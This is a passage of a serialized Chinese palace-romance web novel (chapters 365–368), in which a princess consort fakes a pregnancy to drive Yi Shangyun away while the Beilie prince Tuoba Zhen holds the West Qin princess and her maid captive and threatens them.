“你…原来你就是被太后假手,害死了太妃娘娘的西秦学院大小姐,陆天骄?”衣上云最后一刻,想起了树林里轩辕翰说过的那些话。 “哼…你终于想起来了!可就算是我害死了太妃娘娘又如何呢?翰哥哥不也已经原谅我了吗?不也舍不得杀我吗?他心里是有我的,我知道他的心里肯定是有我的。只要你死了,我便才会是他今生今世唯一的女人。所以,你非死不可!我恨你!” 陆天骄冷哼了一声,恨恨地说着,怒瞪着衣上云忽然拔出了早已擦拭的铮亮,藏在袖兜里的匕首来。 “你要做什么?”衣上云见此,忽地起身来倒着朝后边的床榻上缓缓退了去。 就在其双手将锋利的一把匕首高高举过至头顶,欲要向其心间猛刺过去时。忽然“铛”的一声,匕首掉落在了地上。 “陆天骄,你在做什么?”原来,是拓跋泽已与梅汐媛谈妥了一切,刚好赶了过来。 “姐姐,这个贱人死到临头了,还在妄想着逃脱,妹妹唯恐夜长梦多,这便送她上路。”陆天骄顿回过头去朝梅汐媛说道。 “住手,本王妃与她还有话要说,你先出去吧,我会给你一个满意的答复的。”梅汐媛看着衣上云的脸对陆天骄说道。 “姐姐,我...”陆天骄似是还想说些什么,却被梅汐媛坚定的一声怒喝挡了回去:“出去!” 无奈,陆天骄只得重重地叹了口气后便甩了甩衣袖兀自疾步离去。 只听外面的门“吱呀”一声忽然开了又关上,这时,梅汐媛方才缓缓上前过去将衣上云头上的乱发替其顺了顺,再将她扶坐在案边,又为其亲手倒了碗热茶含笑递上道:“本王妃听说你失忆了,你还好吗?” 衣上云惊诧的看着她的眼睛将其一双肤若凝脂的手里所捧着的茶碗接过,如此雍容华贵的一袭打扮,那两道弯弯的柳月眉之间一颗世间难得生的如此灵动的美人痣,其楚楚动人的容貌,愣愣地问:“你...莫非你便是秦王妃?” 梅汐媛依旧淡淡的笑着,优雅的坐了下来在其身旁,缓缓说道:“没错,我便是秦王妃。” “咔嚓嚓”闻此,衣上云手里的茶碗顿时从指尖滑落,掉在地上发出一阵极清脆的响声。 虽然早已知晓了秦王已经大婚,然最终却还是情不自禁的接受了他,自是已料到了会有今天,她只是没想到会是在这样的情况下。虽已有所铺垫,然此时当那个人真的站在她面前的时候,她的心里竟比原来所预料的更是五味杂陈了太多太多。 原来,他的王妃是这般的美貌又尊贵,与他是那样的相衬。而她,似乎根本就没有任何可比性。或许,人们总是在自己所喜欢的人面前,不经意地便将自己的某些自卑无限的放大,再放大。 正在暗自悲伤着,梅汐媛忽然一脸素颜地开口道:“我知道,殿下喜欢你,你也喜欢殿下。但是,你又能为他做什么呢?殿下他并非池中之物,大业将成之际,只有我能借助母国的实力祝他一臂之力。而你,却只会成为他的牵绊与负累。为了寻你,殿下整日整夜不眠不休。国事繁重本就自顾不暇。如此下去,宫里的那位将会彻底将他压垮,甚至性命不保。” 说到这里,梅汐媛忽然停了下来,垂首下去轻抚着自己的腹部,忧伤地道:“况且,如今我已经怀了殿下的孩子。” “你…你已有身孕了?可方才陆天骄不是说你们尚还未圆房吗?怎么会……”闻声,衣上云顿时将低垂看着地面的眼睛惊愕地抬起,匆匆从梅汐媛正轻抚着的腹部移至其脸上,质疑地道。 “哼…陆天骄,她也只不过是这世间无数梦想着能得到殿下垂怜的女子之一而已,因爱生妒,由爱生恨,她的话你又岂能相信?本王妃记得你也颇通医术,不如你亲自把脉试试看?”梅汐媛轻松地一笑,说着便抬起头来将衣袖掀起,伸到了衣上云的面前。 “我……” 第三百六十五章:好好活着 “不如你亲自把脉,试试看?” “我……”衣上云愣愣地看着那忽然伸到自己面前来的一双十指不沾阳春水的纤纤玉手,硬是朝其怔了半晌,最后竟似是鬼使神差了一般,真的缓缓向其伸手探了上去,却明显感觉到自己的手在发抖……“ 半晌后,又缓缓将那只手收了回来兀自悄悄地攥紧藏在了衣袖里,整个人瞬间似是被掏空了一般。竟还隐忍着故作强颜欢笑对其露出一个极恍惚的笑来,可那笑容下却是藏着深深的绝望。 “怎么样?这下你总该都相信了吧!”梅汐媛一边收手整理衣衫,一边嘴角微微噙着一丝笑容,似是也终于舒了口气道。 半晌后,衣上云忽然缓过神来似是终于明白了这一切,她与那陆天骄分明就是一伙的。 两个人一前一后的进来,一个唱白脸,一个唱黑脸。梅汐媛从一进门来便在向自己炫耀她的主权地位,而爱而不得的陆天骄则始终都忿忿不平地扬言要杀她,她又说会给陆天骄一个满意的答复,究竟何为满意的答复呢?一念至此,衣上云忽的抬起头来注视着她的眼睛,索性直接了当地道: “看来,无论如何,秦王妃都是容不下我的。如今既然有话不妨便就直说吧,不知你想我到底怎么做呢?” 梅汐媛忽见她变得如此淡定自若,不卑不亢,竟忽然再次迟疑愣住了。然一想起她心里所有的恨来,便又咬着牙,心一横,亦明人不再说暗话,遂瞟了一眼一直等候在内屋门口不停来回踱步着的拓跋泽,说道: “既然如此,那我们就打开天窗说亮话吧。实不相瞒,那位拓跋公子,是我找来特意让他去桃花店村寻你回来的。他乃是北烈国的一名商人,日后你若跟着他,他自是断不会亏待了你的。只要你永远不再踏足西秦,彻底断了殿下的念想,本王妃愿意答应你所有的条件,你要什么都可以?” 衣上云哼笑了一声,冷冷道:“原来这一切都是你捣的鬼。不过,你以为所有人都像你们这般唯利是图吗?你又凭什么认为我就一定会按照你说的去做?” “你别无选择,一定会这么做的。”梅汐媛始终坚信,肯定地道。 衣上云冷声问:“为什么?” 梅汐媛顿了一下,深吸口气说道:“因为你是真的爱殿下。爱一个人,是成全,是付出,哪怕是付出自己的生命,而不是成为他的羁绊与拖累。你应该很清楚殿下目前的处境,掰不倒璟帝,殿下的性命便随时随地都岌岌可危。璟帝是那般多疑的一个人,怎么可能容得下一个百姓的呼声比他还要高的人的存在?他之所以留着殿下到现在一定是有目的的。所以,殿下只能在他先下手前彻底替代了其位置。” 这一点,衣上云又怎会不知道,她原本还想寻个机会再次入宫去查明真相,可没想到,却先发生了这样的事情。 没想到,梅汐媛竟然容不下自己到了这种地步,都不许她再留在西秦国里。一念至此,她忽然有些不明白地问:“既然你如此容不下我,那刚才为什么不干脆直接杀了我,方才若是你不出声阻拦的话,我如今早已经没命了。你又为何要留我一条残命在这个世上?你就不怕有朝一日,我会违反你我今日的约定么?” “那是因为...那是因为...因为本王妃身怀有孕,不想见人滥杀无辜,方才留你一命...怎么样?你的决定到底是什么?是答应跟他走,还是继续留在这里牵绊着殿下的前程甚至性命呢?” 差点就要脱出口的话,梅汐媛最终还是说不出口将其噎了回去。既然她已经失忆了,或许这样对她也好,知道的越多,越是有更多放不下的东西。一个人,能够远离尘世的纷纷扰扰,海阔天空自由自在的活着,又何尝不是一种最大的幸福呢? 面对梅汐媛的满脸期待,衣上云淡淡的扫了她一眼,又咬了咬牙,似是终于下定了决心,遂嘴角噙着一抹轻笑道:“我还有选择的余地吗?!” 梅汐媛听了侧头想了一瞬,信誓旦旦的道:“你放心,城西衣府那里,我会替你多加照料的,毕竟,他们费心费力养育了你一场。另外,你还需要些什么,尽管开口便是。” 衣上云默默地发了会儿呆,不知不觉间双拳紧紧握起,咬牙说话的声音里似是带着隐隐的哽咽:“照顾好殿下和他的孩子。否则,就算天涯海角,我也绝不会原谅你。” 隐忍着心间巨大的悲痛,待稍微缓和了一些情绪下来,衣上云缓缓将那把龙凤短剑拿了出来,认真地将其最后轻抚了一遍,递向了梅汐媛道:“替我将这把龙凤短剑还给殿下,就说云儿在回西秦的途中,不幸遇难身亡…这辈子,云儿谢谢他的喜欢!” “本王妃答应你。”梅汐媛顿时一惊,继而又露了释然之色道。 吐了口浊气,梅汐媛说着双手将那把短剑接了过去,亦是朝其端详了半晌后缓缓将剑拔了出来,却忽然掀起衣袖来欲要朝自己的手臂上直刺去。 “你这是做什么?”衣上云见了大惊失色又不明所以地道。 “方才你也看到陆天骄的决心了,剑不沾血,又怎能瞒过她的眼睛?”梅汐媛无可奈何道。 就在梅汐媛说完正欲挥剑朝其猛划过去时,衣上云忽地起身来伸出了一只手臂去挡在了其眼前。 “嘶”随着她倒抽了口气的声音传出,只见衣上云那只落在半空中一动不动的手臂上,鲜红的血一滴滴正在落下,滴在俩人中间的姜黄色绸缎桌布上,顿时现出了一抹血红。 “哐嘡...你……”随之,那把龙凤短剑亦顿时从梅汐媛的手中滑落掉在了地上。 “你疯啦,你这是做什么?不要命了吗?”梅汐媛一缓过神来便瞪大了眼睛朝她的伤口惊呼道。 岂料衣上云竟一手捂着吃痛的伤口,立在其对面俯瞰着她的眼睛狠狠道:“我说了,照顾好殿下和他的孩子。你这样做就不怕伤到孩子吗?这种事,我来做便可。” “孩子...他…可他还那么小,他……”梅汐媛蹙眉,激动的似是都不知该如何回她。 未及梅汐媛将话说完,衣上云坚定的目光紧紧地盯着梅汐媛的眼睛,喝了一声道:“住嘴!孩子即便再小,他也是会有感应的,我不允许任何人伤害他们父子分毫。” 闻此,梅汐媛不禁心中一酸,不敢与她继续对视下去。奕奕神采早已黯淡隐去,眼瞳中只剩黑影憧憧,透着冷,透着失望,透着伤痛。 她的心里忽然觉得更加内疚,她没想到衣上云对轩辕翰的爱,竟然已经到了这种程度。 如果没有这充满矛盾的一切,或许,她会真的很喜欢这个妹妹。可是,事实却总是如此捉弄人。 “一定要好好活着!”最后,梅汐媛起身来说了这句话后,便转身走了出去。 听着耳畔再次传来又是一阵开门与关门的声音,衣上云默默地转过了身去,两行清泪顺着脸颊流淌了下来:“殿下,对不起!” 出了门,梅汐媛似是一刻都不想在此多做停留,头也不回地一边往前院里走去,一边问身旁的拓跋泽:“那种药,不会对本王妃的身子有什么伤害吧?” “王妃娘娘请放心,这种药只会让你在一个时辰内现出喜脉的迹象来,时间一过药效立除,即可恢复如初,不会有任何伤害的。”拓跋泽一脸得色道。 “你想要的,都已经得到了。打算什么时候动身回北烈?”梅汐媛问。 “这里的一切也都处理的差不多了,应该不是明日便是后日吧!怎么?秦王妃莫不是想要为我送行?”拓跋泽打趣道。 梅汐媛轻蔑地哼了一声,始终看都不看他一眼,只顾埋头赶路着道:“本王妃但愿这辈子都不要再见到你。不过,交代给你的事情,你可一定都得放在心上,莫要怠慢了!” “王妃可真是菩萨心肠啊!这丫头,若是落到让那个陆大小姐来处置的话,怕是非扒她的皮,抽她的筋,喝她的血不成呢!” 俩人正说着,陆天骄远远的看见梅汐媛带人走了出来,便朝其急奔了上去:“姐姐,怎么样了?那个丫头她是不是已经……” 未及其将话说完,梅汐媛便将那把早已备好的尚还沾染着淋淋鲜血的龙凤短剑拿了出来:“本王妃说了,会给你一个满意的答复的,如何,可还满意吗?” 陆天骄望着那斑斑血迹,瞬间惊呆了:“那个贱人,她…她终于死了!” 梅汐媛与陆天骄等人前脚刚离开,轩辕翰与程良亦赶到了四海茶庄。 刚至门口下了马来,轩辕翰一手附上胸口,又发出了一阵闷哼声:“嗯!” 程良将其一把扶住,道:“殿下,你到底怎么了?” 第三百六十六章:一撮迷人又霸气的小胡须 “殿下,你到底怎么了?” 对于轩辕翰一日之内,频频多次出现这样的异常疼痛,程良显然忧心又纳闷极了。 “本王也不知道,为何今日里总是这般心痛难耐?” “殿下,请恕属下多言,殿下心里是不是一直在想着衣姑娘的事?该不会是她要出什么事吧?” 程良犹犹豫豫至今的话刚一说出口,便被轩辕翰一声厉喝道:“住嘴,本王不许你这么说,她不会有事的。” 轩辕翰隐忍着内心深处巨大的苦楚与最害怕听到的消息,直起身来迈步踏入了四海茶庄的大门。 “请问两位客官是想要采办些茶叶茶具呢?还是来喝茶的?咱们这里一应俱全,应有尽有,在皇城里可算是数一数二有名的了。” 刚一进门来,掌柜的便弯腰哈背着笑盈盈地迎了上来招呼道。 程良忙上前挡在了轩辕翰的身前,说道:“安排一处清净的雅间给我们主子,再命人奉些清淡的茶点上来,其他勿多叨扰!” 岂料老掌柜的却忽然瞧见这俩人的面相似是有几分熟悉,然一时半会儿又实在记不起在哪里见过,便开口探问起道: “请问这位公子是哪位大人府上的?怎么看起来有些面熟?” 这时,程良掏出一锭银子来伸到掌柜的面前,自顾自问道:“这些银子够付茶钱吗?” 掌柜的见钱眼开,笑着对其连连点头,却闻程良忽然呵斥了一声道:“西秦国哪一条律例规定,到茶楼里喝茶一定要自报门户了?” “这个…自是没有,自是没有。”掌柜的这才回过神来,一脸尴尬地笑着道。 程良怒着将银子推到了掌柜的手边,道:“既然没有,还不赶快拿着银子下去准备奉茶,在这儿磨叽什么?” “得嘞,喝茶的话,还有劳二位请移步上二楼。”掌柜的说着,朝旁边的伙计使了个眼色,轩辕翰便与程良一道被伙计带到了二楼。 刚一上楼来,在楼梯口恰好被迎面而来的拓跋泽的侍卫撞了个正着,那侍卫一见俩人熟悉的脸孔,眼疾手快地忙背贴紧墙壁闪身躲开,低低地垂首下去立在了一旁。 程良路过,瞟了那人一眼,便将轩辕翰急急护送进了最角上的一间僻静的雅间里。 “殿下身子不适,就先在这里休息会儿,属下先出去在茶庄里到处探一探,看看有没有公主的行踪!”安顿好轩辕翰,程良便兀自走出了雅间,去寻轩辕玥的消息。 直至抿下了一口热茶汤,轩辕翰方才舒了口气,似是紧张纷乱的心绪终于得到了些许缓和。 于是,他缓缓起身来,单手负后笔立在窗前,望着夕阳西下早已关不住的满园春色,不禁独自沉沉地发起了呆来。 而此时,正在后院里紧紧关起书房的门来仔细揣摩着刚刚得手的西秦守护者画像的拓跋泽,亦是同样正陷在一片深深的沉思当中。 许久后,惊讶地喃喃道:“没想到,西秦守护者竟会是一个如此年轻貌美的妙龄女子。” 忽然,衣上云曾经所说过的一段话再一次在他的耳边响起:“这股神秘力量是一个神秘部落的女子,她拥有一把能斩妖除魔的神剑,她的血液拥有神奇的力量,还有一个能创造奇迹的世代相传的圣物。” “看来,这名所谓的西秦守护者,便很可能就是那股神秘力量之所在了。如此说来,只要找到并拥有了她,便等于这整片天下唾手可得了。可是,她究竟在哪儿呢?”正思量着,侍卫忽然慌慌张张地推门而入,紧张地道:“殿下,大事不好了!” “发生了何事?如此慌张。”拓跋泽急忙放眼过去朝其问。 侍卫缓了口气,道:“启禀殿下,秦王轩辕翰不知因何带人来茶庄了!” “轩辕翰?他来做什么?难道被他发现是我掳走了那丫头?...那他可有发现什么?”拓跋泽顿时甚感惊诧地道。 “目前应该还没有,属下方才下楼的时候看见他与那副将刚上楼进了雅间,便急急过来禀报了。” 听了侍卫的话,拓跋泽暗暗想了会儿,决定道:“不行,我们怕是又暴露了,这个秦王,真是可恶!看样子,不能再等下去了,索性今夜我们连夜便出城启程回国。” “可夜里我们如何出得了城门呢?”侍卫一脸难色地道。 拓跋泽灵光一闪,遂吩咐道:“你去城东秦王府想办法通知秦王妃,后半夜请她务必相助出城。就说...秦王已经找上门来了。” 侍卫又道:“那后院里关着的那俩名女子呢?” 拓跋泽的眼睛漆黑幽暗,宛如古井,只见他沉默了一瞬,一边动手卷起案上的画像来,一边说道:“随本皇子过去看看,她们究竟是什么人?” 这时,侍卫似是忽然想起了什么?从身上摸出了一块腰牌模样的东西来,上前递到了拓跋泽的面前,道:“对了,殿下请看,方才属下在后院的墙角下发现了这个。” 拓跋泽见此,顿时眼前一亮,一把将其接了过去,翻来覆去仔细端详了一番,惊诧地道:“这是...这是西秦皇宫,西秦公主的风华宫宫牌啊,难道她就是……” “哈哈...哈哈哈...哈哈哈哈哈……这可真是冤家路窄啊!走!随本皇子去好好会会那个骄傲的公主。”拓跋泽忽然发出一阵大笑,继而阔步走出了书房。 四海茶庄后院里。 与衣上云被关在同一院子里相背对着的最东头朝北的一屋内,轩辕玥正沉沉地昏迷于床榻上。 原来,就在拓跋泽故意设计让轩辕玥露出马脚来被捉住的同时,锦兰亦被其侍卫捉住与其一道关了起来。 “公主,公主,醒醒啊!”在锦兰一声比一声急促的呼唤中,轩辕玥终于缓缓清醒了过来。 一边被锦兰慢慢扶着起身下榻来,一边揉着疼痛欲裂的脑袋问:“这里…这里是哪儿啊?” “公主,你终于醒了。我们…我们被人捉住关起来了。呜呜呜……”锦兰说着说着,害怕的又哭了起来。 轩辕玥顿足大惊:“什么?”顿时间,被人劈晕昏迷前所发生的一幕幕即刻浮现出了脑海。 “是那个可恶的茶庄庄主一手所为,本公主早就知道,这个四海茶庄里一定有问题,果然不出所料。” “对了,云儿,云儿她也在这里,难怪秦皇叔满世界怎么都找不到她?原是被他给藏了起来。这个人究竟是谁?他又为什么要抓云儿?” 轩辕玥自顾说着说着,目光看向了婢女锦兰的眼睛。 而锦兰见她一醒过来,满脑子里却丝毫都不担心自己的安危,抹了把眼泪哽咽着道: “公主,你还是担心担心自己吧,我们从一大早便溜出了宫,现在眼看着天都快要黑了,想必皇后娘娘与皇上一定已经发现我们偷溜出宫了,这下奴婢肯定是死定了。” 就在这时,“吱呀”一声,门忽然被人从外面打了开来。 主仆俩惊诧地朝门口望去,只见原是那人面兽心,居心叵测的茶庄庄主正双手负后着,一脸得色地走了进来。 那人一近身过来立在轩辕玥的面前,锦兰一见到其脸上满是不怀好意的笑容,硬是强撑出了一点儿勇气来张开双臂,只身挡在了轩辕玥的身前。 她颤颤巍巍地道:“大胆刁民,你...你想做什么?” 那人顿时淡去了脸上的笑意,轻蔑地横了她一眼,继而又打量了她身后的轩辕玥一会儿。 忽地剑眉微扬,笑起来道:“西秦公主殿下!原来你就是即将与东宁国三皇子大婚在即的西秦公主!” 轩辕玥顿时瞪大了眼睛吃惊地盯着对方的眼睛道:“你是怎么知道本公主的身份的?” 那人缓缓将附在身后的一只手举至前来,顿时亮出了那块轩辕玥无比熟悉的宫牌,她这才着急的往身上一摸索,继而无奈地叹息了声道:“本公主真是大意了。” 定了定神,片刻后,她亦毫不惧怕地一把拉开了锦兰,上前毫不示弱地怒瞪着那人道:“那你真正的身份又是什么?” 岂料那人竟忽然大笑了起来:“我,哈哈哈哈哈...事已至此,我不妨就告诉你吧。我便是你们正在全城通缉的北烈国人,拓跋泽。” “什么?你便是北烈国大皇子拓跋泽!”显然,轩辕玥为此惊呆了。 而拓跋泽却伸手蹭了蹭那撮一字胡,在轩辕玥的耳边得意地道:“哼,本皇子只不过贴了一撮迷人又霸气的小胡须,略施小计又得了这份不菲的产业,便将你们的耳目一个个全都糊弄了过去。看来,西秦国也不过如此。看样子,照这样下去,未来可真是令人堪忧啊!” 听了拓跋泽的话,轩辕玥顿时愣住明白了过来。 想起前不久在城南所发生的一切,还有多年来,这个蛮夷之邦对西秦边境上诸多无辜的黎民百姓的骚扰,轩辕玥握着双拳,紧紧咬牙恨不得马上取了他的狗命。 然她很清楚,这个人那样诡计多端,又心狠手辣。更重要的是,衣上云还在他的手里,外面到处又都是他布置的心腹人马,倘若动手,她一定没有胜算。 思量了片刻,轩辕玥缓过神来,问:“你想将本公主怎么样?” 第三百六十七章:北烈狗的如意算盘 “你想将本公主怎么样?” 闻声,拓跋泽忽然微微舔了下嘴唇,双眼亦渐渐眯起不怀好意地盯着将她上下打量了起来。 片刻后,甩了甩衣袖转过身去发出极为肆无忌惮的一阵大笑来,仿佛整个天地都由他纵横一般,微微侧身对着轩辕玥道: “你们西秦人不是一向都认为我北烈乃蛮夷之邦,都非什么周正之人,粗鲁又野蛮吗?那本皇子今夜便要你见识见识什么才是真正的粗鲁与野蛮?” 听了拓跋泽的话,也不知锦兰突然打从哪儿得来的勇气,竟过去一把紧紧的搂住了正坐在案边发愣着的轩辕玥的肩膀,怒对着拓跋泽似是一口气地道: “你这个野蛮人,休想打我们公主的主意,锦兰就是死也不会让你得逞的。在我西秦的国土上竟敢如此猖狂至极,你就不怕被我泱泱大国的子民们一人一口啃得连骨头都不剩吗?更何况,我们还有令整个灵空大陆皆都闻风即丧胆的战神秦王在,岂容你一条北烈疯狗在此放肆叫嚣。劝你还是乖乖将我国公主赶快给放了,或许皇上可能还会既往不咎,施舍你几两银子,好当作遣送你回国的盘缠呢。” 殊不知,锦兰说这话时表面上看似尚还镇定,实则“扑通扑通”似是心都已经快要从嘴里跳出来了一般,七上八下不停的打着鼓,好像只要再多说一个字,便会站立不住马上瘫倒在地上。 岂料话音刚落,拓跋泽便转身飞快的将锦兰一把从轩辕玥的身旁捞了过去,紧紧捏住她的脖颈,恨得咬牙切齿地道:“你说什么?再说一遍试试看?” 锦兰霎那间被掐的满脸通红似是已不得呼吸。一边两手胡乱捶打着他的肩挣扎着,一边似是豁出去了一般谩骂道:“放开,你放开,你这个恶魔,北烈狗,猪狗不如的东西,你放开我……” 见此激烈场面,轩辕玥倏地站起身来朝俩人同时发出一阵疾呼道: “锦兰!” “拓跋泽,你做什么?快放手!” 听到轩辕玥的声音,拓跋泽稍微放松了些许力道下来,俯身凑到锦兰的眼前,朝其轻蔑地道: “竟敢试图挑衅本皇子?你是不是活的不耐烦了?信不信本皇子不费吹灰之力便可将你的骨头捏的粉碎?你以为本皇子是什么人,会对你俩这样的货色感兴趣?哼...你也未免太低估本皇子了。” 说完,便忽地彻底松开了手,而锦兰则似是再也无力支撑地软软瘫坐在了地上,轩辕玥疾步过去将其扶住,关切道:“锦兰,怎么样,你还好吗?” 锦兰惊恐地注视着她的眼睛木讷地摇了摇头,像是对方才所发生的一切还未反应过来,片刻后抿起嘴唇想要努力隐忍下去,却终是没有忍住。 一时间,心里所有的委屈伴着巨大的恐惧感猛地扑到了轩辕玥的怀里,泪水瞬间沿着脸颊落下:“公主,呜呜呜……” 见锦兰被吓成这般,轩辕玥转身忿忿地道:“拓跋泽,你有什么尽管冲本公主来,欺负一个软弱的小丫头算什么本事?本公主今日既然落到了你的手里,要杀要剐,悉听尊便,可锦兰她是无辜的,你把她放了。” “放了她?凭什么?如今,你又有什么资格与本皇子谈条件?”拓跋泽挑眉冷声道。 “你…你不要欺人太甚!”看到拓跋泽的态度如此坚定又傲慢,轩辕玥愤怒又无奈极了。 然拓跋泽却忽然扬起了一抹诡异的笑来,道:“你在本皇子的眼中可谓是一无是处,虽然本皇子看不上你,但相信本皇子的那些许久未开荤了的手下们一定会饥不择食的。如今,整片灵空都已经知道西秦公主将与东宁皇子联姻且大婚在即的喜讯。索性,本皇子就先拿你们主仆俩好好安抚安抚我的那些手下,然后再用你去与西秦皇宫里的那个昏君,还有那富甲一方的东宁国两头去做笔大买卖,这样才划算嘛。” “哈哈哈哈哈,哈哈哈哈哈……”拓跋泽忽然发现,今日被他撞到了轩辕玥,竟是又白捡了一个如此之大的便宜,他又岂能不高兴? “卑鄙,无耻,下流,还果真是‘蛮夷之邦,何来周正之人‘’难怪北烈国在整个灵空大陆里臭名远扬,就连堂堂一国之皇子的言行作派都如此不堪,还想让别人怎么高看?”面对拓跋泽如此肮脏的想法与手段,轩辕玥冷冷地怒道。 闻此,拓跋泽的笑声戛然而止,遂昂首挺胸,冷冷全然一副无所谓地模样道:“哼,‘欲成大事者,不拘小节’。别人怎么想?怎么看?本皇子从来都不在乎。因为本皇子始终坚信‘成者为王败者寇’,只有未来真正统一灵空大陆四国之人,才是这天下最终的霸者,其他过往一切皆为浮云。” “呵呵...就凭你,也能做这天下的霸主?这可真是可笑,本公主看你长的都不像霸主的样。你的如意算盘,注定最终是没有一个会得逞的。”轩辕玥笑了笑,轻蔑的道。 “是吗?那就让我们一同拭目以待吧。好了,天色也已经晚了,本皇子就给你们一柱香的时间准备准备,待会儿一定要好好伺候哦!” 拓跋泽亦笑了笑,将话一说完,便将手里攥着的风华宫宫牌掷向了屋内的案上,拂袖转身踱步离去。 刚走出没两步,轩辕玥似是忽然又想起了什么,朝着他的背影道:“等等,有件事,本公主想问你,方才本公主在屋顶所见到的那名女子,是不是衣上云?” 闻声,拓跋泽停下了脚步却并未回头,只依旧双手负后着微微侧过脸去朝其幽幽得意道:“是又如何?不是又如何?你又能怎样?没想到,那个丫头如此命大,从那般高的悬崖上落下亦死不了,想来也是与本皇子实在缘深,本皇子对她,可比对你有兴趣的多……” 话未说完,轩辕玥便激动地脱口即出道:“不许你碰她!你若是敢动她一根汗毛,秦皇叔绝对不会饶过你的。” “秦王轩辕翰?他怕是这辈子再也没有机会见到她了。” 轩辕玥顿觉拓跋泽此话里有话,遂问:“你这句话是什么意思?你要把云儿怎么样?” “拿人钱财,替人消灾。成全别人,也是成全自己。”拓跋泽幽幽道, “拿谁的钱财,又替谁消灾,到底是谁让你那样做的,是不是...是不是秦王妃?”轩辕玥似是忽地恍然大悟道。 拓跋泽忽然转身朝其嘘声道:“嘘...不该问的不要问,不该知道的莫要去探寻。无论如何,本皇子想要得到的,最终一一都会得到,没有人阻挡得了。与其操心别人,不如好好想想自己吧!本皇子可是已经迫不及待地想要知道,若那梅志煊于洞房花烛夜知道了你今夜的遭遇,还愿不愿意再要你了?倘若他要是不要你了,那可该怎么办才好呢?” “滚,你给本公主滚,滚的远远的,越远越好。”轩辕玥闻此,激动地上前去一把拎起身边案上的茶碗来便朝其狠狠砸了过去。 瓷器落地,遂发出一阵清脆的响声。见拓跋泽徐徐离去,锦兰扶着轩辕玥坐下,一边帮其轻抚激动不已的后背,一边泪眼婆娑地道:“公主,这可怎么办呢?呜呜呜……” 然轩辕玥却愣愣地拾起案上的风华宫宫牌,将其紧紧地握在手心里,置于胸前,另一手搂着锦兰的肩头,低声喃喃道:“云儿,本公主终于找到你了!云儿……” 不知过了多久,轩辕玥忽然缓过神来走到一无人看守的窗户前朝外四处张望了会儿,问婢女:“锦兰,本公主刚才被关进来的时候是昏迷的,如今完全没了方向。你还记不记得方才那个茅厕是在哪边吗?” “公主可是内急,奴婢这就帮你立刻唤人来开门。” 锦兰说着便起身来欲朝门边走去,轩辕玥忙将将两指附上到唇边:“嘘” 遂朝其招了招手,示意锦兰过去,压低了声音对其说道:“那个茅厕,看起来应该是专门给外来的宾客所预备的,本公主要在这块儿宫牌上刻上求救信号,将其抛出去引人来援助。” 锦兰听了心头一紧,却是顿时又喜又忧:“可这若万一被那条北烈狗给发现了怎么办?” 轩辕玥想了想,心一横,说道:“横竖都是个死,与其如此坐以待毙,受尽屈辱,还不如放手一搏,兴许还能成。这会儿刚入夜,想必来来往往于茶庄的人正多着,一定会成功的。” 锦兰朝窗外看了看,半信半疑地朝轩辕玥愣愣地指了一个方向,似是还在犹豫,轩辕玥便忙动手在柜子里翻出了一把用来剪烛花的剪子来在宫牌上面刻下了求救信息。 想了想,又怕就这样丢出去所发出的声音太响被人发现,于是掏出了自己平时贴身所带着的最喜欢的一个精致的香囊,将其小心翼翼地塞了进去。 继而便朝着锦兰所指的方向一把大力地“嗖”一下,将其丢出了墙外去。 “放心吧,锦兰,我们不会有事的!”抛出了求救信号,轩辕玥安抚婢女道。 锦兰朝其用力地点了点头。 第三百六十八章:梨园落下的蝴蝶香囊 是夜。 独自到后院里透气的易三少正被一片梨园美景所吸引驻足着。 微风骤起,花瓣如雪般肆意飞舞,遮蔽了暗夜的天空。 他抬头漠然凝望着满院梨花的翩若惊鸿,一双迷人的眼眸空灵如水,却隐隐似被笼罩着一缕轻烟般的迷茫。 眉宇间散发出的淡淡忧伤,衬着那如同被上天眷顾过一般的轮廓,美得是那样恰到好处,令人一见几乎差点都快要忘记呼吸。 然如此潇洒不羁,本应自在逍遥快活一世的一个人,岂料却沾染了凡世的尘埃,被红尘所羁绊…… 许久后,只见他忽然轻启薄唇感叹道:“艳静如笼月,香寒未逐风。桃花徒照地,终被笑妖红。” 话音刚落,只闻“哐当”一声,似是有什么东西从身旁的枝头上掉落了下来。 易三少挪步寻声觅去,弯腰于一梨树下的一摊落花上拾起一小布袋样的东西。 走到一边借着微弱的烛火之光照了照,这才看清原来竟是个女儿家贴身所带的香囊。 “此等私密之物,怎会从树上落下来?”易三少微微蹙眉纳闷着,目光朝四下里环视了一眼,却并未见任何动静。 遂将其握在手里一边把玩着,朝二楼走了回去。 刚上楼,瞥见前面拐角处有一个似曾相识的背影忽的闪过,紧忙驻足停下喃喃自语道:“这不是那轩辕翰的副将吗,他怎么会在这里?” 远远尾随着程良,直到见其进去了最后角落上的一雅间,易三少方才明白了过来,想那里面毫无疑问一定是他那讨人厌的主子了。 瞧着四周无人,易三少索性便跟了上去附耳贴在门上听了一会儿,吃惊地道:“西秦公主竟然失踪了?” 继而又轻蔑地朝屋内冷哼了一声,兀自踱步进到了自己的雅间内。 梅志煊见其从外面回来后一直说要走可又坐着不动,只饶有兴致专心地打量着手里的什么玩意儿,便随口问了句: “你手里拿的是什么玩意儿?有那么好看吗?不是说要回客栈,怎么一直都坐着不动?” 易三少自顾目不转睛地只盯着手里的东西端详着:“这个看起来像是个女儿家的香囊,又不像是个普通女儿家的香囊,我也还未猜透。” 梅志煊正在续茶,闻此忽然停下了手里的动作。惊诧地抬起头来朝其放眼过去道:“女儿家的香囊?” 遂半眯起眼来仔细瞧了瞧,见他手里捧着的确实是只香囊模样的东西,暗暗一想“成泥做土香如故,却为谁?零落成泥碾作尘,只有香如故。” 忽然冷哼了一声,朝其一脸不悦地道:“易三少,你方才只不过出去了那么一小会儿,怎么便将人家女儿家如此私密的贴身之物都给带回来了?” 却见易三少仍旧头也不抬地若有所思着,接着说:“如此看来,本皇子说你是个小淫虫,花花公子,一点儿也不为过!如此滥情,竟还说什么只对皇妹一人死心塌地?本皇子真是看错你了!” “说什么呢?这个香囊是方才我在后院的梨园里捡的。我易三少此生对丫头的心,日月可鉴。” 至此,易三少方才猛地抬起头来,斜了他一眼信誓旦旦的为自己辩解道。 “捡的?你没事儿捡人家姑娘家的香囊做什么?” 就在梅志煊将信将疑地再次朝其不屑地看过去时,不经意间瞥见了那香囊的刺绣正面图案,忽觉得似是有些眼熟,像是在哪里见过一般。 于是,便着急地伸出一只手去对易三少道:“快给我看看,这个香囊怎么如此眼熟?” 原是,这是一只蝴蝶样式的香囊,在香囊的正面所绣的正是一只色彩鲜艳又栩栩如生的双翅上嵌着白色纹脉,色彩搭配如同梦幻一般光彩熠熠正振翅展示着其婀娜多姿的神蝶。 